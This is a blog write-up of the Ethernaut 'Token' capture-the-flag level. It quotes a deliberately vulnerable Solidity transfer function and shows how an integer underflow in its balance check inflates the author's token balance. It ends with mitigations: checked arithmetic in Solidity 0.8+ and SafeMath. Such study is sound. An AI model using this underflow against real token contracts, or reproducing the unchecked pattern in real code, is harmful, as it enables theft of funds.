# Ethernaut 5: Token

By [0xbanky](https://paragraph.com/@banky) · 2022-08-16

---

My solution for the fifth ethernaut challenge: [https://ethernaut.openzeppelin.com/level/0x63bE8347A617476CA461649897238A31835a32CE](https://ethernaut.openzeppelin.com/level/0x63bE8347A617476CA461649897238A31835a32CE)

Investigation
-------------

We have a `Token` contract that contains balances for address and a total supply.

    mapping(address => uint) balances;
    uint public totalSupply;
    

We have a constructor which initializes a contract instance with a provided supply and gives that entire balance to the contract deployer

    constructor(uint _initialSupply) public {
        balances[msg.sender] = totalSupply = _initialSupply;
    }
    

There is a function which allows a transfer from the senders balance to the provided address. It simply checks that there is enough of a balance to be sent in the senders address, deducts the amount from the sender and assigns it to the `to` address.

    function transfer(address _to, uint _value) public returns (bool) {
        require(balances[msg.sender] - _value >= 0);
        balances[msg.sender] -= _value;
        balances[_to] += _value;
        return true;
    }
    

Notably here, the computation is being done on `uint` values which can be overflowed. I tried out the `transfer` function using the Remix IDE and found that I was able to transfer 5 tokens to some other address. This worked since 5 was less than the amount in my wallet (initialized with 20 tokens).

Solution
--------

First, I tried to pass in a negative value to the function. My thinking is that the value would be treated as a `uint` during smart contract execution, which would be a very large number. This approach does not work though and I got an error from the EVM

    instance.transfer("0x...", -10);
    // Error encoding arguments: Error: value out-of-bounds (argument=null, value="-5", code=INVALID_ARGUMENT, version=abi/5.5.0)
    

So it seems like it wont work to just try passing in a negative number. Thinking about it some more, I noticed that on this line

    require(balances[msg.sender] - _value >= 0);
    

An integer overflow can also be induced. ie. if I try to send more than I have in my wallet, `balances[msg.sender] - _value` will actually overflow and return some large value. I tried this out

    instance.transfer("0x...", 25);
    instance.balanceOf("<my address>");
    // uint256: balance 115792089237316195423570985008687907853269984665640564039457584007913129639931
    

My wallet now has several trillions of tokens 🤠

What I learned
--------------

1.  During the investigation, I found that this will actually not be an issue using a newer solidity version to compile our code (0.8.0 and above).
    
    > Arithmetic operations revert on underflow and overflow. You can use `unchecked { ... }` to use the previous wrapping behaviour.
    
    From [https://docs.soliditylang.org/en/latest/080-breaking-changes.html](https://docs.soliditylang.org/en/latest/080-breaking-changes.html)
    
2.  This issue can be prevented on lower solidity versions with OpenZeppeling `SafeMath`.

---

*Originally published on [0xbanky](https://paragraph.com/@banky/ethernaut-5-token)*
